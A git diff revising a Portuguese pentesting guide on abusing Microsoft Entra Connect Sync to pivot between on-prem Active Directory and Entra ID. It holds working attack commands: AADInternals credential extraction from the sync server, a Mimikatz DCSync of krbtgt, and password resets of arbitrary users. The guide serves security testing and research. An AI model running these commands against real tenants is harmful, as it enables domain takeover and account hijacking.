diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md
index a3e943cec..9325e7fd2 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md
@@ -2,63 +2,67 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Informações Básicas
+## Informações básicas
-[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Os serviços de sincronização do Microsoft Entra Connect (Microsoft Entra Connect Sync) são um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente local e o Microsoft Entra ID.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) é um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente on-premises e o Microsoft Entra ID.
+
+O serviço de sync consiste em dois componentes, o componente on-premises **Microsoft Entra Connect Sync** e o lado do serviço no Microsoft Entra ID chamado **Microsoft Entra Connect Sync service**.
+
+Para usá-lo, é necessário instalar o agente **`Microsoft Entra Connect Sync`** em um servidor dentro do seu ambiente AD. Este agente será o responsável pela sincronização a partir do lado do AD.
-Para usá-lo, é necessário instalar o agente **`Microsoft Entra Connect Sync`** em um servidor dentro do seu ambiente AD. Este agente será responsável pela sincronização do lado do AD.
-O **Connect Sync** é basicamente a maneira "antiga" de Azure para **sincronizar usuários do AD para o Entra ID.** A nova maneira recomendada é usar o **Entra Cloud Sync**:
+O **Connect Sync** é basicamente a maneira "antiga" da Azure para **sincronizar usuários do AD para o Entra ID.** A nova forma recomendada é usar **Entra Cloud Sync**:
{{#ref}}
az-cloud-sync.md
{{#endref}}
-### Principais Contas Geradas
+### Principais Principais Gerados
-- A conta **`MSOL_`** é criada automaticamente no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
-- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio local.
-- Uma conta de serviço gerenciada **`ADSyncMSA`** é criada no AD local sem privilégios especiais por padrão.
-- No Entra ID, o Principal de Serviço **`ConnectSyncProvisioning_ConnectSync_`** é criado com um certificado.
+- A conta **`MSOL_`** é criada automaticamente no AD on-prem. Esta conta recebe a role **Directory Synchronization Accounts** (veja a [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) o que significa que ela tem **permissões de replicação (DCSync) no AD on-prem**.
+- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio on-premise.
+- Uma managed service account **`ADSyncMSA`** é criada no AD on-prem sem privilégios padrão especiais.
+- No Entra ID o Service Principal **`ConnectSyncProvisioning_ConnectSync_`** é criado com um certificado.
-## Sincronizar Senhas
+## Sincronizar senhas
-### Sincronização de Hash de Senha
+### Password Hash Synchronization
-Este componente também pode ser usado para **sincronizar senhas do AD para o Entra ID** para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário permitir a sincronização de hash de senha no agente Microsoft Entra Connect Sync instalado em um servidor AD.
+Este componente também pode ser usado para **sincronizar senhas do AD para o Entra ID** para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário habilitar a password hash synchronization no agente Microsoft Entra Connect Sync instalado em um servidor AD.
-[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **A sincronização de hash de senha** é um dos métodos de login usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** é um dos métodos de sign-in usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância on-premises do Active Directory para uma instância baseada em nuvem do Azure AD.
-Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.
+Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do on-prem para o Azure AD. Entretanto, **senhas em texto claro** ou os **hashes originais** não são enviados para o Azure AD.
-A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
+A **sincronização dos hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Então, um usuário cuja **senha on-prem expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
-Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
+Quando um usuário on-prem deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
> [!NOTE]
-> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que têm privilégios altos atribuídos diretamente **podem ser sincronizados**.
+> Por padrão, usuários de grupos privilegiados conhecidos como Domain Admins com o atributo **`adminCount` para 1 não são sincronizados** com o Entra ID por razões de segurança. Entretanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que receberam altos privilégios diretamente **podem ser sincronizados**.
-### Escrita de Senha
-Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando um usuário altera sua senha no Entra ID. Observe que, para a escrita de senha funcionar, o usuário `MSOL_` gerado automaticamente no AD precisa receber [mais privilégios conforme indicado na documentação](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que ele possa **modificar as senhas de qualquer usuário no AD**.
+### Password Writeback
-Isso é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário.
+Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando um usuário altera sua senha no Entra ID. Note que para o password writeback funcionar o usuário `MSOL_` gerado automaticamente no AD precisa receber [mais privilégios conforme indicado na documentação](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que ele possa **modificar as senhas de qualquer usuário no AD**.
-Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que receberam privilégios altos dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo:
+Isto é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário.
-- Usuários atribuídos a privilégios altos diretamente.
+Domain admins e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o atributo **`adminCount` para 1**. Mas outros usuários que receberam altos privilégios dentro do AD sem pertencer a qualquer um desses grupos podem ter sua senha alterada. Por exemplo:
+
+- Usuários com privilégios elevados atribuídos diretamente.
- Usuários do grupo **`DNSAdmins`**.
-- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e as atribuíram a OUs poderão modificar as GPOs que criaram.
+- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e os atribuíram a OUs poderão modificar os GPOs que criaram.
- Usuários do **`Cert Publishers Group`** que podem publicar certificados no Active Directory.
-- Usuários de qualquer outro grupo com altos privilégios sem o **atributo `adminCount` igual a 1**.
+- Usuários de qualquer outro grupo com altos privilégios sem o atributo **`adminCount` para 1**.
## Pivotando AD --> Entra ID
### Enumerando Connect Sync
-Verifique os usuários:
+Verificar usuários:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
@@ -76,25 +80,25 @@ $searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
-Verifique a **configuração do Connect Sync** (se houver):
+Verifique a **Connect Sync configuração** (se houver):
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
-### Encontrando as senhas
+### Finding the passwords
-As senhas do **`MSOL_*`** usuário (e do **Sync\_\*** usuário, se criado) estão **armazenadas em um servidor SQL** no servidor onde **Entra ID Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\
+As senhas do **`MSOL_*`** user (e do usuário **Sync\_\*** se criado) são **stored in a SQL server** no servidor onde **Entra ID Connect is installed.** Administradores podem extrair as senhas desses usuários privilegiados em clear-text.\
O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
-É possível extrair a configuração de uma das tabelas, sendo uma criptografada:
+É possível extrair a configuração de uma das tabelas, sendo uma delas criptografada:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
-A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do `MSOL_*`** usuário no AD local e a senha do **Sync\_\*** no AzureAD. Portanto, comprometendo essas, é possível realizar privesc para o AD e para o AzureAD.
+A **encrypted configuration** está criptografada com **DPAPI** e contém as **passwords of the `MSOL_*`** user no on-prem AD e a password do **Sync\_\*** no AzureAD. Portanto, comprometendo essas credenciais é possível privesc para o AD e para o AzureAD.
-Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
+Você pode encontrar uma [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
-### Abusando do MSOL\_*
+### Abusando de MSOL\_\*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
@@ -112,11 +116,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
-> Ataques anteriores comprometeram a outra senha para então conectar ao usuário do Entra ID chamado `Sync_*` e, em seguida, comprometer o Entra ID. No entanto, esse usuário não existe mais.
+> Ataques anteriores comprometeram a outra senha para então se conectar ao usuário Entra ID chamado `Sync_*` e depois comprometer o Entra ID. No entanto, esse usuário não existe mais.
-### Abusando ConnectSyncProvisioning_ConnectSync\_
-Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, possui as seguintes permissões de API:
+### Abusar ConnectSyncProvisioning_ConnectSync\_
+
+Esta aplicação é criada sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, ela tem as seguintes permissões de API:
- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
@@ -125,21 +130,21 @@ Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
-É mencionado que o SP deste aplicativo ainda pode ser usado para realizar algumas ações privilegiadas usando uma API não documentada, mas nenhuma PoC foi encontrada até onde sei.\
-De qualquer forma, pensando que isso pode ser possível, seria interessante explorar mais a fundo como encontrar o certificado para fazer login como este principal de serviço e tentar abusar dele.
+Menciona-se que o SP desta aplicação ainda pode ser usado para executar algumas ações privilegiadas usando uma API não documentada, mas nenhum PoC foi encontrado até onde sei.
+De qualquer forma, considerando que isso pode ser possível, seria interessante explorar mais como encontrar o certificado para efetuar login como este service principal e tentar abusar dele.
-Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) foi lançado logo antes da mudança de usar o usuário `Sync_*` para este principal de serviço, explicando que o certificado estava armazenado dentro do servidor e era possível encontrá-lo, gerar PoP (Proof of Possession) dele e token gráfico, e com isso, ser capaz de adicionar um novo certificado ao principal de serviço (porque um **principal de serviço** pode sempre se atribuir novos certificados) e então usá-lo para manter persistência como o SP.
+Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), publicado logo depois da troca do uso do usuário `Sync_*` para este service principal, explicou que o certificado era armazenado dentro do servidor e que era possível encontrá-lo, gerar um PoP (Proof of Possession) dele e graph token, e com isso, conseguir adicionar um novo certificado ao service principal (porque um **service principal** pode sempre atribuir a si mesmo novos certificados) e então usá-lo para manter persistência como o SP.
-Para realizar essas ações, as seguintes ferramentas estão publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
+Para realizar essas ações, as seguintes ferramentas foram publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
-Na minha experiência, o certificado não está mais armazenado no local onde a ferramenta anterior estava procurando, e, portanto, a ferramenta não funciona mais. Assim, mais pesquisas podem ser necessárias.
+De acordo com [this question](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), para encontrar o certificado, você deve executar a ferramenta a partir de um processo que tenha **roubado o token do processo `miiserver`**.
-### Abusando Sync\_\* [DEPRECATED]
+### Abusar Sync\_\* [DEPRECATED]
> [!WARNING]
-> Anteriormente, um usuário chamado `Sync_*` foi criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia realizar ações privilegiadas, como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um principal de serviço. No entanto, a partir de jan2025, esse usuário não é mais criado por padrão, pois agora o Aplicativo/SP **`ConnectSyncProvisioning_ConnectSync_`** é usado. No entanto, ele ainda pode estar presente em alguns ambientes, então vale a pena verificar.
+> Anteriormente, um usuário chamado `Sync_*` era criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia executar ações privilegiadas como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um service principal. No entanto, desde Jan2025 esse usuário não é mais criado por padrão, pois agora a Application/SP **`ConnectSyncProvisioning_ConnectSync_`** é usada. Ainda assim, ele pode estar presente em alguns ambientes, então vale a pena verificá-lo.
-Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais)
+Comprometendo a **`Sync_*`** account é possível **resetar a senha** de qualquer usuário (incluindo Global Administrators)
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
@@ -163,7 +168,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
-Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado)
+Também é possível **modificar apenas as senhas dos usuários cloud** (mesmo que isso seja inesperado)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
@@ -172,23 +177,23 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
-É também possível extrair a senha deste usuário.
+Também é possível fazer o dump da senha deste usuário.
> [!CAUTION]
-> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.
+> Outra opção seria **atribuir permissões privilegiadas a um service principal**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse service principal** como forma de privesc.
-### SSO Sem Costura
+### Seamless SSO
-É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Verifique em:
+É possível usar Seamless SSO com PHS, que é vulnerável a outros abusos. Confira em:
{{#ref}}
az-seamless-sso.md
{{#endref}}
-## Pivotando Entra ID --> AD
+## Pivoting Entra ID --> AD
-- Se a gravação de senha estiver habilitada, você pode **modificar a senha de qualquer usuário no AD** que está sincronizado com Entra ID.
-- Se a gravação de grupos estiver habilitada, você pode **adicionar usuários a grupos privilegiados** no Entra ID que estão sincronizados com o AD.
+- If password writeback is enabled, you can **modify the password of any user in the AD** that is synchronized with Entra ID.
+- If groups writeback is enabled, you can **add users to privileged groups** in Entra ID that are synchronized with the AD.
## Referências